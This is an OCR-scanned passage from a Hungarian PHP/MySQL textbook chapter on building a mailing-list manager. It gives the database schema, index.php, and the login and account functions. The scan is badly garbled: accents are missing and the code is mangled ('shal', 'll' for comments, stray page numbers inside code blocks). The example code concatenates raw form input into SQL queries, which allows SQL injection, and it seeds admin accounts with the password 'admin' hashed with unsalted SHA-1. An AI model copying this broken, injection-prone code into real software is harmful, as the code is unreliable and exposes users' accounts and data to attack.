A projekt sorn nyomon kvetjk a rendszer minden felhasznljnak felhasznli nevr s jelszavt, illetve azoknak a levele zlistknak a listjt, amelyekre a felhasznJk feliratkoztak. Mindezeken tlmenen el kell trolni a felhasznlknak a hrlevl formtumra vonatkoz vlasztst is (szveges vagy HTML), hogy a megfelel verzij hrlevelet kldhessk el nekik. Az adminisztrtor (a levelezlista kezelje) olyan klnleges felhasznl, akinek lehetsge van j levelezlistkat ltrehozni s hrleveleket kldeni azokra. Hasznos funkcija az ilyen rendszereknek a korbban kldtt hrlevelek archvuma. Ha a feliratkezottak nem tartjk meg a korbban kapott hrleveleker, az archvumban akkor is kereshernek bennk.Az archvum markeringeszkznek sem utols, mivel a potencilis feliratkozk lthatjk, hogy hogyan nznek ki a korbban elkldtt hrlevelek. A MySQL adatbzis s a hozz szksges PHP fellet ltrehozsban semmi jdonsg nincsen, radsul nem is klnseb ben bonyolult a dolog.

Hrlevelek feltltse

30

Olyan felletre van szksg, amellyel az adminisztrtor a korbban emltetteknek megfelelen hrlevelet kldher. Arrl viszont mg nem beszltnk, hogy az adminisztrtor hogyan hozza ltre a hrleveleket. Kszthernnk szmra egy rlapot, ahova begpelheri vagy bernsolhatja a hrlevl tartalmr. A rendszer felhasznlbart jellegr ersrherjk, ha lehetv tesszk az adminisztrtor szmra, hogy az ltala preferlt szerkeszralkalmazsban hozza ltre a hrlevelet, majd az gy elkszlt f:ijlt tltse fel a webszerverre. Ebben az esetben az adminisztrtor kpeket is egyszeren hozzadhar a HTML hrlevelekhez. Ehhez a 19. fejezetben megismert f:ijlfelrlt funkcit fogjuk felhasznlni. A korbbi projektekben ltott rlapoknl valamivel bonyolulrabbakkal kell most dolgoznunk. Ebben a projektben az admi nisztrtornak a hrlevl szveges s HTML verzijt, illetve az utbbi esetn a szveg kz kerl kpeket is fel kell tltenie. Miutn a hrlevelet feltlttte, ltre kell hozni egy olyan felletet, amelyen a klds eltt megtekintheti a hrlevl elnzett. Itt meggyzdhet arrl, hogy minden fjl feltltse megfelel mdon trtnt. Ne feledkezznk meg arrl sem, hogy ezeket a fjlokat el kell trolni egy archv knyvtrban, hogy a felhasznJk elolvas hassk a korbbi hrleveleked Annak a felhasznlnak, amelyikknt webszervernk fut, rsi jogosultsgokkal kell rendelkez nie ehhez a knyvtrhoz.A feltlt kd az . l archi ve/ knyvtrba ksrli meg berni a hrleveleket, ezrt gondoskodjunk a knyvtr ltrehozsrl, illetve a megfelel jogosultsgok belltsrl!

Csatolt llomnyokat tartalmaz levelek kldse


Azt kvnjuk elrni, hogy a felhasznlknak egyszer szveges vagy csinos HTML formtum hrlevelet tudjunk kldeni mindenkinek olyat, arnilyet krt. Begyazott kpeket tartalmaz HTML fjl kldshez az szksges, hogy tudjunk csatolt llomnyokat kldeni. A PHP egyszer mai l ( ) fggvnyvel nem lehet egyszeren megoldani a csatolt fjlok kldst. rdemes helyette a PEAR igen kivl
Mai l_Mime csomagjt hasznlni, amit eredetileg Richard Heyes alkotott meg. Kpes HTML mellkleteket kezelni, s arra is

alkalmas, hogy HTML fjlban lv kpeket csatoljunk a levlhez. A csomag teleptshez A PHP

s a MySQL teleptse cm Fggelk A PEAR teleptse cm rszben tallunk tmutatst.

A megolds ttekintse
Hasonlan a

Webalap levelezszolgltats ltrehozsa cm 29. fejezethez, ebben a projektben is esemnyvezrelt megkzeltst

kvetnk a kd megrsa sorn. Az dindulst segrend ismt felrajzoljuk a folyamatbrkat, amelyek a felhasznJk lehetsges lpseit mutatjk a rendszer ben. Ebben a pldban hrom brval mutatjuk be a felhasznJk ltal elrhet funkcikat s szolgltatsokat. A felhasznl ms funkcikar rhet el az egyszer bejelentkezs eltt s a bejelentkezs utn, illetve adminisztrtorknt trtn bejelentkezs esern. Ezeket a funkcikar a 30.1, a 30.2, illetve a 30.3 bra mutatja. A 30.1 brn a nem bejelentkezett felhasznJk szmra elrhet lehetsgeket ltjuk. Egy ilyen felhasznl bejelentkezhet (ha mr rendelkezik felhasznli 6.kkal), ltrehozhatja fikjt (ha az mg nem ltezik), s megtekintheti a levelezlistkat, amelyekre a regisztrlt felhasznJk feliratkozhatnak (ez utbbi mintegy marketingeszkzknt is szolgl, kedvet csinl a re gisztrcihoz).

Levelezlista-kezel alkalmazs fejlesztse

479

Not logged in

30.1 bra: A nem bejelentkezett Jelhasznlk csak korltozott szm lehetsg kzl vlaszthatnak. A 30.2 brn a bejelentkezett felhasznlk szmra elrhet funkcikat ltjuk. Megvltoztathatjk fikbelltsaikat (e-mail

cm s szemlyes belltsok), jelszavukat, illetve azt, hogy melyik listkta iratkeztak fel.

30

30.2 bra: Bejelentkezs utn tbbfle lehetsgk van belltsaik mdostsra. A 30.3 bra az adminisztrtorknt bejelentkezett felhasznlk szmra elrhet funkcikat mutatja. Lthat, hogy az ad

minisztrtor az ltalnos Felhasznlk ltal elrhet lehetsgek mellett tovbbi funkcikhoz is hozzfr. j levelezlistkat hozhat ltre, fjlfeltltssel j leveleket kszthet, illetve klds eltt megtekintheti azok elnzett. Mivel az alkalmazs esemnyvezrelt megkzeltst kvet, a gerinct ismt csak egyetlen fjl, az index. php tartalmazza, amely fggvnyknyvtrak sokasgt hvja meg.
A 30.1 tblzatban az alkalmazst alkot fjlok gyjtemnyt talljuk.

30.3 bra: Az adminisztrtorok szmra tovbbi funkcik is elrhetk.

480

30. fejezet

30.1

tblzat: A levelezlista-kezel alkalmazst alkotfjlok Tpus


Alkalmazs Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Alkotelem Fggvnyek SQL

Fjlnv
index.php beillesztett fuggvenyek.php adat_ellenorzo fuggvenyek.php

Lers
A teljes alkalmazst futtat, f kd Az alkalmazsba beillesztett fjlok gyjtemnye A felhasznlk ltal bevitt adatokat ellenrz fggv nyek gyjtemnye Az
mlm

adatbazis fuggvenyek.php

adatbzishoz kapcsoldsra hasznlt fggv

nyek gyjtemnye
mlm_fuggvenyek.php

A levelezlista kezelshez kapcsold fggvnyek gyj temnye A HTML kimenetet elllt fggvnyek gyjtemnye Az alkalmazs fjlfeltlt komponenst kezel kd; a biztonsg rdekben elklntettk a tbbi kdtl A felhasznlk hitelestsre hasznlt fggvnyek gyj temnye
Az mlm adatbzis, illetve egy ltalnos s egy admi

kimeneti_fuggvenyek.php feltoltes.php

30

felhasznaloi hitelesites fuggvenyek.php adatbazis letrehozasa.sql

nisztrtor felhasznl ltrehozsra szolgl SQL kd

Most pedig fogjunk hozz a projekt megvalstshoz! Munknkat a feliratkozottakra s a lisrkra vonatkoz informcikat trol adatbzis ltrehozsval kezeljk.

Az adatbzis ltrehozsa
Az alkalmazs mkdshez az albbi adatokat szksges eltrolnunk: Listk-Levelezlistk, amelyekre a felhasznlk feliratkozhatnak Felhasznlk - A rendszer felhasznli s az preferenciik Aliistk-Az egyes felhasznlkhoz tartoz olyan levelezlistk, amelyekre feliratkoztak (sok a sokhoz tpus kapcsolat) Hrlevl - Az elkldtt e-mailek rekordja Kpek-Nyomon kell kvetni az egyes hrlevelekbe kerl szveget, HTML-t s kpeket, mert szeretnnk tbb fjlbl ll hrleveleket is kldeni. Az adatbzis ltrehozsra szolgl SQL kdot a 30.1 pldakdban talljuk.
30.1 pldakd: adatbaz is_letrehozasa. sql -A z
CREATE DATABASE mlm;

mlm adatbzist ltrehoz SQL kd

USE mlm;

CREATE TABLE listak

listaiD

INT AUTO INCREMENT NOT NULL PRIMARY KEY, NOT NULL,

listanev CHAR(20)

leiras VARCHAR(255) );

CREATE TABLE

felhasznalak

email CHAR(l00)

NOT NULL PRIMARY KEY, NOT NULL,

valedi nev CHAR(lOO) mime_tipus CHAR(l) jelsza CHAR(40)

NOT NULL,

NOT NULL,

admin TINYINT NOT NULL

Levelezlista-kezel alkalmazs fejlesztse

481

);

t a felhasznlk s a listk kztti kapcsolatot trol tbla


CREATE TABLE al listak

email CHAR(l00) NOT NULL, listaiD INT NOT NULL

CREATE TABLE

hirlevel

hirleveliO INT AUTO_INCREMENT NOT NULL PRIMARY KEY, email CHAR(lOO) NOT NULL, targy CHAR(l00) NOT NULL, listaiD INT NOT NULL, allapot CHAR(lO) NOT NULL, kuldve DATETIME, modositva TIMESTAMP

30

#az adott hrlevlbe kerl kpeket trol tbla CREATE TABLE kpek

hirleveliO INT NOT NULL, eleresi_utvonal CHAR(l00) NOT NULL, mime_tipus CHAR(l00) NOT NULL );

GRANT SELECT, ON mlm.*

INSERT,

UPDATE,

DELETE

TO mlm@localhost

IDENTIFIED BY 'jelszo';

INSERT INTO

felhasznalak VALUES 'Adminisztrtori felhasznal', 'H', shal('admin'), l);

('admin@localhost',

INSERT INTO

felhasznalak VALUES 'Adminisztrtori felhasznl', 'H', shal('admin'), l);

('laura_xt@optusnet. com. au',

Emlkezhetnk r, hogy a kvetkezket begpelve hajthatjuk vgre ezt a kdot:


mysql -u root -p
<

adatbazis_letrehozasa.sql

Meg kell adnunk root felhasznli jelszavunkat. (A kdot termszetesen a megfelel jogosultsgokkal rendelkez brmely MySQL-felhasznlval futtathatjuk, csak az egyszersg kedvrt vlasztottuk a rootot.) A kd futtatsa eltt vltoztassuk meg benne az
mlm

felhasznl s az adminisztrtor jelszavt.

Az adatbzis egyes mezi tovbbi magyarhatot ignyelnek, fussuk t rviden ezeket! A listak tbla a listaiD s a listanev mezket tartalmazza. Itt tallhat tovbb a leiras mez, amely az egyes listkat bemutat, rvid szvegeket trolja. A a
felhasznalak

tbla a felhasznlk e-mail cmt

jelszo-t,

illetve jelzi, hogy a felhasznl adminisztrtor-e a


felhasznalak

( email) s nevt ( valodi_nev ) tartalmazza. Trolja tovbb (admin) . A mime_tipus mezben rgztjk, hogy az egyes (email) , illetve a listak tblbl szrmaz listaiD

felhasznlk milyen pus hrlevelet kvnnak kapni. A HTML-t a H, a szveges verzit pedig a T jelzi. Az
al_listak

tblbl vett e-mail cmeket

ket tartalmazza. A hirlevel tblban a rendszer ltal kkldtt hrlevelekrl tallunk informcikat. Trolja a hrlevelek egyedi azonos tjt

( hirleveliD) , a cmet, amelyrl a hrlevelet kldtk ( email) , az e-mail trgysort (targy) , valarnint annak a levelez

listnak a listaiD-jt, amelyre a levelet kldtk vagy kldeni fogjuk. Az zenet szvege vagy HTML-je akr igen nagy fjl is lehet, ezrt a hrlevelek archvumt az adatbzison kvl clszer trolnunk. Feljegyznk tovbb nhny ltalnos llapotin-

482

30. fejezet

formcit: azt, hogy a hrlevl el lett-e kldve ( allapot) , ha igen, akkor rnikor ( kuldve) , illetve eltrolunk egy idblyeget, ami azt jelzi, hogy mikor mdostottuk utoljra ezt a rekordot ( modositva) . Vgl a kepek tblval azt kveljk nyomon, hogy milyen kpek tartoznak az egyes HTML zenetekhez. A kpek mrete akr igen nagy is lehet, ezrt a hatkonysg megrzse rdekben az adatbzison kvl fogjuk trolni ket. Fel kell jegyeznnk, hogy a kpek melyik hrlevlhez tartoznak (hirleveliD ) , milyen eleresi_utvonal on troljuk ket, s rnilyen MIME
-

tpusak ( mime_tipus) - pldul image/gif. A 30.1 pldakdban lv SQL kd bellt tovbb egy felhasznlt, amelyknt a PHP csatlakozhat, valamint egy adminiszt rtort a levelezlista-rendszer kezelsre.

A kd architektrjnak meghatrozsa
Akrcsak az elz projektben, most is esemnyvezrelt megkzeltst kvetnk. Az alkalmazs gerince az index. php fjlban tallhat. Ez a kd az albbi fbb rszekbl ll ssze:
l. Elfeldolgozs vgrehajtsa. Itt a fejlcek kldse eltt szksges feladatokat vgezzk el.

30

2.

Oldalfejlcek belltsa s kldse. A HTML oldal fejlcnek ltrehozsa s kldse. az esemnyt.

3. Mvelet vgreh;ytsa. Reagls az szlelt esemnyre. Akrcsak az elz pldban, itt is a $muvelet vltozban troljuk 4.

Oldallblcek kldse.
ezt

Az alkalmazst nagyrszt ez a f:ijl mkdteti. Ahogy knyvtrakat is hasznlja.

mr emltettk, az alkalmazs a 30.1 tblzatban lthat fggvny

Az index. php kd teljes szvegt a 30.2 rnintakd tartalmazza.


30.2 pldakd: index.php-A Pyramid-MLM alkalmazs J
<?php /********************************************************************** * l. rsz : elfeldolgozs *********************************************************************/ include ('beillesztett_fuggvenyek.php'); session_start(); Smuvelet = S_GET['muvelet']; $gombok = array(); ll fzzk hozz ehhez a sztringhez, ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt! Sallapot = ''; ll legelszr a bejelentkezsi s kijelentkezsi krseket kell feldolgozni if(($ POST['email'])
&&

kdja

($ POST['jelszo']))

{
$ POST['jelszo']);

$bejelentkezes = bejelentkezes($ POST['email'], if($bejelentkezes Sallapot


.=

==

'admin')

{
SOpx\">

"<p style=\"padding-bottom: sikeresen bejelentkezett

<strong>".valodi_nev lekerese($_POST['ema1l']) ."</strong> <strong>adminisztrtorknt<lstrong>.<lp>"; S_SESSION['admin_felhasznalo']


=

S_POST['email'];

else if($bejelentkezes == 'normal')

{
SOpx\">

Sallapot .= "<p style=\"padding-bottom:

Levelezlista-kezel alkalmazs fejlesztse

483

<strong>".valodi_nev_lekerese($_POST['email'])."<lstrong> sikeresen bejelentkezett.<lp>"; $_SESSION['altalanos felhasznalo'] = $ POST['email'];

else $allapot "<p style=\"padding-bottom: 50px\">Sajnos nem sikerlt

belptetni a megadott e-mail cmmel s jelszval.<lp>";

if($muvelet == 'kijelentkezes') unset($muvelet); $ SESSION=array(); session_destroy();

30
/********************************************************************** * 2.
rsz: fejlc ltrehozsa s megjelenitse

*********************************************************************/

ll az eszkzsoron megjelen gombok meghatrozsa


if(altalanos_felhasznalo_ellenorzese())

ll ltalnos felhasznl esetn


$gombok[0] $gombok[l]
=

'jelszo-megvaltoztatasa';

= 'fiok-beallitasok';

$gombok[2] = 'sajat-listak-megjelenitese'; $gombok[3] = 'egyeb-listak-megjelenitese'; $gombok[4] = 'kijelentkezes'; else if(admin_felhasznalo_ellenorzese()) ll adminisztrtor esetn $gombok[O] = 'jelszo-megvaltoztatasa'; $gombok[l] $gombok[2] $gombok[3] $gombok[4] $gombok[5] $gombok[6] $gombok[7] else 'levelezolista-letrehozasa'; 'hirlevel-letrehozasa'; 'hirlevel-megtekintese'; 'kijelentkezes'; 'osszes-lista-megjelenitese'; 'sajat-listak-megjelenitese'; 'egyeb-listak-megjelenitese';

ll ha nincs bejelentkezve
$gombok[O] $gombok[l] $gombok[4] 'uj-fiok'; 'osszes-lista-megjelenitese'; 'bejelentkezes';

if($muvelet)

ll fejlc megjelentse,

benne az alkalmazs nevvel

ll s az oldal vagy mvelet lersval html_fejlec_letrehozasa('Pyramid-MLM - '.muvelet_formazasa($muvelet)); else

{
benne csak az alkalmazs nevvel

ll fejlc megjelentse,

html_fejlec_letrehozasa('Pyramid-MLM');

eszkozsor_megjelenitese($gombok);

484

30. fejezet

ll a fejlc eltt meghvott fggvnyek ltal ltrehozott szveg megjelenitse echo $allapot; /********************************************************************** * 3. rsz: mveletek vgrehajtsa

*********************************************************************/

ll bejelentkezs nlkl csak ezek a mveletek hajthatk vgre switch ($muvelet) case 'uj-fiok': ll munkamenet-vltozk trlse session_destroy(); fiok urlap_megjelenitese(); break;

30

case 'fiok-tarolasa': if (fiok_tarolasa($ SESSION ['altalanos felhasznala' l , $_SESSION['admin_felhasznalo'], $muvelet ''; $POST))

if(!beJelentkezes_ellenorzese()) bejelentkezesi_urlap_megjelenitese($muvelet);

break;

case 'bejelentkezes':

case '': if(!bejelentkezes_ellenorzese()) bejelentkezesi_urlap_megjelenitese($muvelet);

break;

case 'osszes-lista-megjelenitese': elemek_megjelenitese('sszes lista', osszes lista_lekerese(), 'informacio',

'archivum-megjelenitese', ''); break;

case 'archivum-megjelenitese': elemek_megjelenitese(listanev_lekerese($_GET['id']). 'archvuma ', archivum_lekerese($_GET['id']), 'szoveges-megjelenitese', break; case 'informacio': informacio_megjelenitese($_GET['id']); break; ' '); 'HTML-megjelenitese',

ll az sszes tbbi mvelethez bejelentkezs szksges if(bejelentkezes_ellenorzese()) switch ($muvelet) case 'fiok-beallitasok':

Levelezlista-kezel alkalmazs fejlesztse

485

fiok_urlap_megjelenitese(email_lekerese(), valodi_nev_lekerese(email_lekerese()), mime tipus lekerese(email_lekerese())); break;

case 'egyeb-listak-megjelenitese': elemek_megjelenitese('Nem krt levelezlistk', nem_feliratkozott listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'feliratkozas');

case 'feliratkozas': feliratkozas(email lekerese(), $_GET['id']);

elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'leiratkozas');

30
'

case 'leiratkozas': leiratkozas(email lekerese(), $_GET['id']);

elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'leiratkozas');

case '': case 'sajat-listak-megjelenitese': elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'leiratkozas');

case 'jelszo-megvaltoztatasa': jelszo_urlap_megjelenitese(); break;

case 'jelszo-megvaltoztatasa-tarolasa': if(jelszo_valtoztatas(email_lekerese(), $_POST['uj_jelszo'], $ POST['elozo_jelszo'],

$_POST['uj_jelszo2'])) SOpx\">OK: jelszavt megvltoztattuk.<lp>";

echo "<p style=\"padding-bottom: else echo "<p style=\"padding-bottom:

SOpx\">Sajnljuk,

jelszavt

nem sikerlt megvltoztatni.<lp>"; jelszo_urlap_megjelenitese();

break;

ll A kvetkez mveleteket csak adrnin felhasznl hajthatja vgre if(adrnin_felhasznalo_ellenorzese()) switch ($muvelet) case 'hirlevel-letrehozasa': hirlevel_urlap_megjelenitese(email lekerese());

486

30. fejezet

break; case 'levelezolista-letrehozasa': lista_urlap_megjelenitese(email_lekerese()); break; case 'lista-tarolasa': if(lista tarolasa($_SESSION['admin_felhasznalo'], $POST)) echo "<p style=\"padding-bottom: SOpx\">Az j lista hozz lett adva.<lp>"; elemek_megjelenitese('sszes lista', osszes_lista_lekerese(), 'informacio', 'archivum-megjelenitese',''); else echo "<p style=\"padding-bottom: SOpx\">A listt nem lehetett eltrolni. Krjk, prblja meg jra!<lp>";

30

break; case 'kuldes': kuldes($_GET['id'], $ SESSION['admin_felhasznalo']); break; case 'hirlevel-megtekintese': elemek_megjelenitese('El nem kldtt hrlevelek', elkldetlen_hirlevel lekerese(email lekerese()), 'HTML-elonezete', 'szoveges-elonezete', 'kuldes'); break;

/********************************************************************** * 4. rsz: lblc megjelenitse *********************************************************************/


html lablec_megjelenitese(); ?>

A pldakdban egymstl jl lthatan elvlasztva jelennek meg a kd klnbz rszei. Az elfeldolgozsi rszben bellt juk a munkamenetet, s feldolgozzuk az oldalfejlc elkldse eltt vgzend mveleteket. Alkalmazsunkban a be- s kijelent kezs jelenti ezeket a mveleteket. A lblc-megjelents szakaszban llitjuk be a felhasznl ltal majdan lthat mengombokat, majd a kimeneti_
fuggvenyek.ph p knyvtr html_fejlee _letrehozasa () fggvnyvel megjelentjk a megfelel oldalfejlcet. Ez

a fggvny egyszeren csak a fejlcsor s a menk megjelentsrt felels, ezrt a rszleteibe most nem megynk bele. A kd f rszben kezeljk a felhasznl ltal kivlasztott mveletet. Ezek hrom csoportba oszthatk: a be nem jelentke zett felhasznlk szmra elrhet mveletek, az ltalnos felhasznlk szmra elrhet mveletek, illetve az adminisztratv felhasznlk szmra fenntartott mveletek. Az utbbi kt mveletcsoporthoz val jogosultsgot a bejelen tkezes_
ellenorzese ( ) s az admin_felhasznala _ellenorzese() fggvnnyel llaptjuk meg. Ez a kt fggvny

a felhasznaloi_hitelesites_fuggvenyek. php fggvnyknyvtrban tallhat. Ezek, illetve az altalanos_


felhasznalo_ellenorzese() fggvny kdjt a 30.3 pldakdban talljuk.

30.3 pldakd: Hromfggvny a felhasznaloi_hitelesites_fuggvenyek. php knyvtrbl- Ezek a fggvnyek

llaptjk meg, hogy afelhasznl bejelentkezett-e, s ha igen, akkor milyen szinten


function altalanos_felhasznalo_ellenorzese() ll ellenrizzk, hogy bejelentkezett-e, s kzljk, ha nem

Levelezlista-kezel alkalmazs fejlesztse

487

if (isset($ SESSION['altalanos felhasznalo'])) return true; else

return false;

function admin_felhasznalo_ellenorzese()

{
s kzljk, ha nem

ll ellenrizzk,

hogy bejelentkezett-e,

if (isset($ SESSION['admin felhasznalo'])) return true; else

return false;

function bejelentkezes_ellenorzese() { return ( altalanos felhasznalo_ellenorzese()

l l

admin_felhasznalo ellenorzese() );

A fenti sorokbl lthat, hogy a fggvnyekazal talanos _ felhasznala s az a dmin_ felhasznalo munkamenet vltozval ellenrzik, hogy a felhasznl belpett-e. Rvidesen megmutaguk, hogyan kell belltani ezeket a vltozkat. Az index. php kd utols rszben a kimeneti_fuggvenyek. php knyvtr html_lablec_megjelenitese() fggvnye segtsgvel elkldjk a HTML lblcet. Nzzk t rviden a rendszerben lehetsges mveleteket a 30.2 tblzatban! 30.2 tblzat: A levelezlista-kezel alkalmazs lehetsges mveletei
Mvelet
bejelentkezes kijelentkezes uj -fiok fiok-tarolasa osszes-lista-megjelentese archivum-megj elenitese informacie fiok-beallitasok egyeb-listak-megjelenitese

Jogosultak kre

Lers

Brki Brki Brki Brki Brki Brki Brki Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk Bejelentkezett felhasznlk

Megjelenti a felhasznlnak a bejelentkezsi rlapot Befejezi a munkamenetet j felhasznli fikot hoz ltre a felhasznlnak Eltrolja a fik adatait Megjelenti a vlaszthat levelezlistkat Megjelentiaz adott levelezlista archivlt hrleveleit Alapinformcikat jelent meg az adott listrl Megjelenti a felhasznl fikjnak belltsait Azokat a levelezlistkat jelenti meg, amelyekre nem iratkozott fel a felhasznl Azokat a levelezlistkat jelenti meg, amelyekre a fel hasznl feliratkozott A felhasznl feliratkozik egy adott listra A felhasznl leratkazik egy adott listrl A jelsz megvltoztatsa rlapot jelenti meg Mdosga az adatbzisban a felhasznl jelszavt

sajat-listak-megjelenitese feliratkozas

leiratkozas jelszo-valtoztatas

jelszo-valtoztatas-tarolasa

488

30. fejezet

Mvelet
hirlevel-letrehozasa levelezolista-letrehozasa

Jogosultak kre Adminisztrtorok Adminisztrtorok Adminszrrtorok Adminisztrtorok Adminsztttorok

Lers Hrlevelek feltltst lehetv tev rlapot jelent meg j levelezlistk ltrehozst lehetv tev rlapot jelent meg Eltrolja az adatbzisban a levelezlista adatait Megjelenti a feltlttt, de mg ki nem kldtt hrleve leket Hrlevelek kldse a feliratkozottaknak

lista-tarolasa hirlevel-megtekintese

kuldes

A 30.2 tblzatot olvasva hinyrzetnk lehet, mivel nem talljuk ott a hirlevel-tarolasa mveletet, ami tu lajdonkppen a h ir leve1-1et re hoz asa mvelettel ltrehozott hrlevelek feltltse. Ezt a funkcit egy kln fjlba

( feltoltes . php) tettk bele, mert gy biztonsgi szempontbl valamivel knnyebb lesz kezelni a fjlfeltltst.
A kvetkezkben a 30.2 tblzarban hrom csoportba sorolt - vagyis a nem bejelentkezett, a bejelentkezett s
az

adminiszt

30

rtor felhasznJk szmra elrhet - mveletek megvalsrst fogjuk ttekinteni.

A bejelentkezs megvalstsa
Amikor teljesen j felhasznl ltogat el oldalunkra, hrom dolgot szerernnk. Elszr is szeretnnk megmutatni neki, hogy mit knl
az

oldalunk; msodsorban szerernnk, hogy regisztrljon; vgiil azt, hogy lpjen be az oldalra. Ezeket a feladatokat most

egyenknt megvizsgljuk. A 30.4 brn az oldalra els alkalommal elltogat felhasznlknak megjelentett kpernyt lthatjuk.

30.4 bra:

Az oldalra rkezJelhasznlk j Jelhasznli fikot hozhatnak ltre, megtekinthetik az elrhet levelezlistkat, illetve bejelentkezhetnek.

A kvetkezkben az j felhasznli fik ltrehozsval s a bejelentkezssei foglalkozunk, a levelezlistk megjelentsre pedig a fejezet ksbbi, a Felhasznlifunkcik megvalstsa s az Adminisztrlori funkcik megvalstsa cm rszben trnk majd vissza.

j felhasznli fik ltrehozsa


Ha a felhasznl a mensor "j fik" gombjra kattint, az albbi kdjt futtatja:
case 'uj-fiok':

, uj -fiok'

mveletet vltja ki. Ez a mvelet az index. ph p fjl

ll munkamenet-valtozok trlse
session_destroy(); fiok_urlap_megjelenitese (); break;

Ez a kd tulajdonkppen kilpreci

az

esetlegesen bejelentkezett felhasznlt, s megjelenti szmra a 30.5 brn lthat,

a felhasznli fik ltrehozshoz szksges rlapot.

Levelezlista-kezel alkalmazs fejlesztse

489

30.5 bra:

A Jelhasznlk az j Jelhasznli fik ltrehozsra szolgl rlapon adhatjk meg adataikat.

Az rlapot a kimeneti_fuggvenyek. php knyvtr fiok_urlap_megjelenitese(} fggvnye llrja el. A fgg vnyt nem csak itt, hanem a fiok-bealli tasok mveletnl is hasznljuk, mindkt esetben azt az rlapot jelenti meg, amellyel a felhasznl megadhatja fikjainak az adatait. Amennyiben a fiok-beallitasok mvelet ltal hvjuk meg a fgg vnyt, az rlapmezk a felhasznl meglv adaraival kitltve fognak megjelenni. Jelen esetben viszont res az rlap, mivel egy j felhasznl adatainak bevirelre szolgl. A fggvny csak HTML kimeneret eredmnyez, ezrt itt s most rszletesebben nem foglalkozunk vele. Az r!ap.Klds" gombjra kartintssal a, fiok-tarolasa' mveletet vltjuk ki, amelynek kdja a kvetkez:
case 'fiok-tarolasa': if (fiok_tarolasa($_SESSION['altalanos_felhasznalo'), $ SESSION['admin felhasznalo'), $muvelet
' = ' o '

30

$POST))

if(!bejelentkezes ellenorzese())

bejelentkezesi_urlap_megjelenitese($muvelet);

break;

A 30.4 pldakdban lthat fiok_tarolasa () fggvny trolja el az adatbzisban a fik adatait.

Az mlm fuggvenyek. php knyvtr fiok_tarolasa ()fggvnye- Afggvny jfelhasznlt ad az adat bzishoz, vagy mdostja egy meglvJelhasznl adatait
30.4 pldakd:
_

ll j felhasznl hozzadsa az adatbzishoz, ll vagy meglv felhasznl adatainak mdostsa function fiok_tarolasa($altalanos felhasznalo, if(!kitoltott($adatok)) echo "<p>Minden mezt ki kell tlteni. return false; else ( hogy a mdostani kvnt felhasznlknt jelentkezett-e be ( Krjk, prblja jra!<lp>"; $admin felhasznalo, $adatok)

if(letezo_felhasznalo($adatok['email'))) ll ellenrizzk, if(email_lekerese{)==$adatok['email'))

$lekerdezes = "UPDATE felhasznalek SET valodi_nev = '".$adatok[valodi_nev] ."', mime tipus = '".$adatok[m1me tipus)."' WHERE email = '".$adatok[email) ."'";

if($kapcsolat=adatbazishoz_kapcsolodas()) if ($kapcsolat->query($lekerdezes)) return true;

490

30. fejezet

else

return false; else

echo "<p>Nem sikerlt elmenteni a vltoztatsokat.</p>"; return false; else echo "<p>Mr regisztrlt e-mail cim.</p> <p>Ha mdositani szeretn bellitsait, p>"; return false; else { jelentkezzen be ezzel a eimmel!</

30

ll j felhasznli fik
$lekerdezes = "INSERT INTO felhasznalak VALUES ('".$adatok[email]."', '".$adatok[valodi_nev] ."', '".$adatok[mime_tipus] ."', shal ('".$adatok [UJ 0)"; if($kapcsolat=adatbazishoz kapcsolodas()) if ($kapcsolat->query($lekerdezes)) return true; else jelszo]."'),

return false; else

echo "<p>Nem sikerlt elmenteni az j felhasznli fikot.</p>"; return false;

A fggvny elszr ellenrzi, hogy a felhasznl megadta-e a krt adatokat. Amennyiben igen, a fggvny j felhasznlt hoz ltre, vagy - amennyiben a felhasznl mr ltezik - mdostja a fik adatait. A felhasznl csak annak a fiknak az adata it mdosthatja, amelynek felhasznli nevvel s jelszavval bejelentkezett. A bejelentkezett felhasznl szemlyazonossgt az email_lekerese () fggvnnyel ellenrizzk, amely visszakeresi az aktulisan bejelentkezett felhasznl e-mail cmt. Ksbb mg visszatrnk ehhez a fggvnyhez, mert olyan munkamenet vltozkat hasznl, amelyeket a felhasznl bejelentkezsekor lltunk be.

Bejelentkezs
Amikor a felhasznl kitlti a 30.4 brn ltott bejelentkezsi rlapot, s a"Bejelentkezs" gombra kattint, az index.php kdba jut, mgpedig gy, hogy az email s a jelszo vltoz rtke be van llrva. Ez a bejelentkezsi kdot aktivlja, ami az
index.php elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki:

ll legelszr a bejelentkezsi s kijelentkezsi krseket kell feldolgozni


if(($_POST['email']) $bejelentkezes
=

&&

($_POST['jelszo']))

{
$_POST['jelszo']);

bejelentkezesiS POST['email'], 'adrnin') {

if ($bejelentkezes Sallapot
.=

==

"<p style=\"padding-bottom:

50px\">

<strong>".valodi_nev_lekerese($ POST['email'])."</strong>

Levelezlista-kezel alkalmazs fejlesztse

491

sikeresen bejelentkezett <strong>adminisztrtorknt<lstrong>.<lp>"; $_SESSION[1admin_felhasznalo1)


=

$ POST[1email1);

else if($bejelen tkezes == 1normal1) Sallapot


.=

1
SOpx\">

"<p style=\"padding-bottom:

<strong>".valodi_nev_lekerese($_POST[1email1)) ."<lstrong> sikeresen bejelentkezett.<lp>"; $ SESSION[1altalanos felhasznalo1) = $_POST[1email1]; else $allapot "<p style=\"padding-bottom: SOpx\">Sajnos nem sikerlt belptetni a megadott e-mail cmrnel s jelszval.<lp>";

if($muvelet == 1kijelentkezes1) unset($muvelet); $_SESSION=array(); session_destroy();

A fenti sorokbl lthatjuk, hogy elszr is megprbljuk belptemi a felhasznlt a felhasznalc _hitelesites_
fuggvenyek. php knyvtr bejelentkezes () fggvnyt hasznlva. Ez a fggvny kis mrtkben klnbzik a mshol

hasznlt bejelentkezsi fggvnyektl, rdemes ht kzelebbrl megvizsglni. Kdjt a 30.5 pldakdban ltjuk.
